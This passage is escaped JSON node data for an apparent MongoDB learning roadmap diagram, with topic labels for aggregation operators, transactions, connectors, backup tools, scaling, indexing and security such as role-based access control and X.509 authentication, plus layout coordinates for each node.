\"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Atlas Search Indexes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"K09-nD6xF5YJUQBBpFXMz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 290,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 290\n      },\n      \"measured\": {\n        \"width\": 290,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.7434533747889,\n        \"y\": 1328.7712019978167\n      }\n    },\n    {\n      \"id\": \"kG0ZeGatgvC1azZKMQiA_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.7434533747889,\n        \"y\": 1381.7712019978167\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Query Optimization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"K09-nD6xF5YJUQBBpFXMz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 290,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 290\n      },\n      \"measured\": {\n        \"width\": 290,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.7434533747889,\n        \"y\": 1381.7712019978167\n      }\n    },\n    {\n      \"id\": \"gpihoIJkzSS1WOvmH2ueo\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -298.64790096520323,\n        \"y\": 1329.0428763065624\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Aggregation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LC923iJhfiUDIs_0-9rc7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.64790096520323,\n        \"y\": 1329.0428763065624\n      }\n    },\n    {\n      \"id\": \"41NR1_9KpDaoNA6H_-9tJ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 122.76429116271242,\n        \"y\": 1390.0370850046631\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Common Operators\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 167,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 122.76429116271242,\n        \"y\": 1390.0370850046631\n      }\n    },\n    {\n      \"id\": \"_c7itVw1R1_UB-NPtL-WI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.304676918401924,\n        \"y\": 1436.4009665630522\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$match\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"eDks8Jmsbq3_nHgLydyxP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.304676918401924,\n        \"y\": 1436.4009665630522\n      }\n    },\n    {\n      \"id\": \"nz048lC4Q4S7fMVbxLGEk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 156.96508403246992,\n        \"y\": 1437.3330479858657\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$group\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"strw_oGTkZEH-o8zA4IRP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 102,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 85,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 156.96508403246992,\n        \"y\": 1437.3330479858657\n      }\n    },\n    {\n      \"id\": \"BCWS8uV2pSWe7CX-VlnTg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 245.96508403246992,\n        \"y\": 1437.3330479858657\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$sort\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CfM0iyd2bNRIiDWTUkspd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 87,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 85,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 245.96508403246992,\n        \"y\": 1437.3330479858657\n      }\n    },\n    {\n      \"id\": \"dO2mJejkWBH903LG0dWgN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 63.304676918401924,\n        \"y\": 1489.5296076634274\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$project\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AY-8KJGA9ZA6ay3rbURt3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 110,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 63.304676918401924,\n        \"y\": 1489.5296076634274\n      }\n    },\n    {\n      \"id\": \"4CjjGPOy-385Bco_PeQwa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 156.96508403246992,\n        \"y\": 1490.461689086241\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$skip\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"strw_oGTkZEH-o8zA4IRP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 88,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 85,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 156.96508403246992,\n        \"y\": 1490.461689086241\n      }\n    },\n    {\n      \"id\": \"AzUVaGnGv9uypJ31alR9r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 245.96508403246992,\n        \"y\": 1490.461689086241\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$limit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CfM0iyd2bNRIiDWTUkspd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 88,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 85,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 245.96508403246992,\n        \"y\": 1490.461689086241\n      }\n    },\n    {\n      \"id\": \"AY-8KJGA9ZA6ay3rbURt3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 64.23675834121553,\n        \"y\": 1542.6582487638027\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$unwind\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CfM0iyd2bNRIiDWTUkspd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 64.23675834121553,\n        \"y\": 1542.6582487638027\n      }\n    },\n    {\n      \"id\": \"strw_oGTkZEH-o8zA4IRP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 157.89716545528353,\n        \"y\": 1543.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$lookup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CfM0iyd2bNRIiDWTUkspd\"\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 85,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 157.89716545528353,\n        \"y\": 1543.5903301866163\n      }\n    },\n    {\n      \"id\": \"CfM0iyd2bNRIiDWTUkspd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 246.89716545528353,\n        \"y\": 1543.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"$sum\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 89,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 85,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 246.89716545528353,\n        \"y\": 1543.5903301866163\n      }\n    },\n    {\n      \"id\": \"eDks8Jmsbq3_nHgLydyxP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 49.22070183486737,\n        \"y\": 1329.974957729376\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Pipelines, Stages and Operators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AY-8KJGA9ZA6ay3rbURt3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 292,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 293,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 49.22070183486737,\n        \"y\": 1329.974957729376\n      }\n    },\n    {\n      \"id\": \"aHcmsaqAfG5fC90VV-EHP\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -298.64790096520323,\n        \"y\": 1440.5296076634274\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Transactions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LC923iJhfiUDIs_0-9rc7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 143,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.64790096520323,\n        \"y\": 1440.5296076634274\n      }\n    },\n    {\n      \"id\": \"6H2MMnEfS6uHGS-6pFo8u\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -298.64790096520323,\n        \"y\": 1585.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Developer Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LC923iJhfiUDIs_0-9rc7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.64790096520323,\n        \"y\": 1585.2051467174065\n      }\n    },\n    {\n      \"id\": \"73REfcB_T0yBP-KQ0EYmF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -711.7434533747889,\n        \"y\": 1469.5296076634274\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Language Drivers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"K09-nD6xF5YJUQBBpFXMz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 290,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 290\n      },\n      \"measured\": {\n        \"width\": 290,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.7434533747889,\n        \"y\": 1469.5296076634274\n      }\n    },\n    {\n      \"id\": \"9GazilUU8H4o-uTkecbDZ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -662.5915419324471,\n        \"y\": 1534.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"MongoDB Connectors\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 187,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -662.5915419324471,\n        \"y\": 1534.5903301866163\n      }\n    },\n    {\n      \"id\": \"JAosQ9tFj7y70lGQ0vHzC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -699.0915419324471,\n        \"y\": 1572.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Kafka\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4L9UQ4oaaK3wZwOLIMa6T\"\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129\n      },\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -699.0915419324471,\n        \"y\": 1572.5903301866163\n      }\n    },\n    {\n      \"id\": \"K09-nD6xF5YJUQBBpFXMz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -566.0915419324471,\n        \"y\": 1572.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spark\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"butGgZXGPTZI-sWx24bOr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 290,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 290\n      },\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -566.0915419324471,\n        \"y\": 1572.5903301866163\n      }\n    },\n    {\n      \"id\": \"kJJ-W6BV1ofIvuFT_PCcz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -699.0915419324471,\n        \"y\": 1625.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Elastic Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4L9UQ4oaaK3wZwOLIMa6T\"\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 129\n      },\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -699.0915419324471,\n        \"y\": 1625.5903301866163\n      }\n    },\n    {\n      \"id\": \"dxWIRnCaguSoU4g2_DiOI\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -713.5558189033463,\n        \"y\": 1690.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"1HBTZGBuT2cKNmwgFkGOF\"\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 117\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -713.5558189033463,\n        \"y\": 1690.7051467174065\n      }\n    },\n    {\n      \"id\": \"ebE-JUTXEeH4lNb3UKvKa\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -651.0558189033463,\n        \"y\": 1700.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Backup & Recovery\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"9GazilUU8H4o-uTkecbDZ\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 167,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -651.0558189033463,\n        \"y\": 1700.5903301866163\n      }\n    },\n    {\n      \"id\": \"xaWDHCkcGm4oovPPxVMB9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -703.0915419324471,\n        \"y\": 1738.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"mongodump\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"w1L-yFBM2AyeNBFyH5skW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129\n      },\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -703.0915419324471,\n        \"y\": 1738.5903301866163\n      }\n    },\n    {\n      \"id\": \"TKngxMNGMgrdO26D7eeSg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -570.0915419324471,\n        \"y\": 1738.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"mongorestore\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"K09-nD6xF5YJUQBBpFXMz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 290,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 290\n      },\n      \"measured\": {\n        \"width\": 140,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -570.0915419324471,\n        \"y\": 1738.5903301866163\n      }\n    },\n    {\n      \"id\": \"cOKQQ7SaiawWF49MdCGTh\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -299.5799823880168,\n        \"y\": 1757.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Scaling MongoDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LC923iJhfiUDIs_0-9rc7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 183,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -299.5799823880168,\n        \"y\": 1757.5903301866163\n      }\n    },\n    {\n      \"id\": \"QrHT-H12AV4-V-y_nzmNk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 49.22070183486737,\n        \"y\": 1651.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Replicasets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4L9UQ4oaaK3wZwOLIMa6T\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 259\n      },\n      \"measured\": {\n        \"width\": 293,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 49.22070183486737,\n        \"y\": 1651.5903301866163\n      }\n    },\n    {\n      \"id\": \"CijW3HCjVRZHQIBsQ9_0H\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 49.22070183486737,\n        \"y\": 1704.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Sharded Clusters\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4L9UQ4oaaK3wZwOLIMa6T\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 259\n      },\n      \"measured\": {\n        \"width\": 293,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 49.22070183486737,\n        \"y\": 1704.5903301866163\n      }\n    },\n    {\n      \"id\": \"iVDxuERBjKMBHueEfqP0x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 49.22070183486737,\n        \"y\": 1757.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tuning Configuration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4L9UQ4oaaK3wZwOLIMa6T\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 259\n      },\n      \"measured\": {\n        \"width\": 293,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 49.22070183486737,\n        \"y\": 1757.5903301866163\n      }\n    },\n    {\n      \"id\": \"XjB0uOnsYl4edzZWpQ-nm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 49.22070183486737,\n        \"y\": 1810.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Indexing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4L9UQ4oaaK3wZwOLIMa6T\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 259\n      },\n      \"measured\": {\n        \"width\": 293,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 49.22070183486737,\n        \"y\": 1810.5903301866163\n      }\n    },\n    {\n      \"id\": \"4L9UQ4oaaK3wZwOLIMa6T\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 49.22070183486737,\n        \"y\": 1863.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Query Optimization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"K09-nD6xF5YJUQBBpFXMz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 259\n      },\n      \"measured\": {\n        \"width\": 293,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 49.22070183486737,\n        \"y\": 1863.5903301866163\n      }\n    },\n    {\n      \"id\": \"LC923iJhfiUDIs_0-9rc7\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -298.64790096520323,\n        \"y\": 1972.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"MongoDB Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PuRlxMpnjEZt3E3m7Hgzw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -298.64790096520323,\n        \"y\": 1972.5903301866163\n      }\n    },\n    {\n      \"id\": \"yRJ6jeysFXBpwLEqvrdKk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.5558189033463,\n        \"y\": 1866.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Role-based Access Control\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"w1L-yFBM2AyeNBFyH5skW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.5558189033463,\n        \"y\": 1866.5903301866163\n      }\n    },\n    {\n      \"id\": \"NV39oWwr7iB_dnlnD_Q6Y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.5558189033463,\n        \"y\": 1919.5903301866163\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"X.509 Certificate Auth\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"w1L-yFBM2AyeNBFyH5skW\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262\n      },\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.5558189033463,\n        \"y\": 1919.5903301866163\n      }\n    },\n    {\n      \"id\": 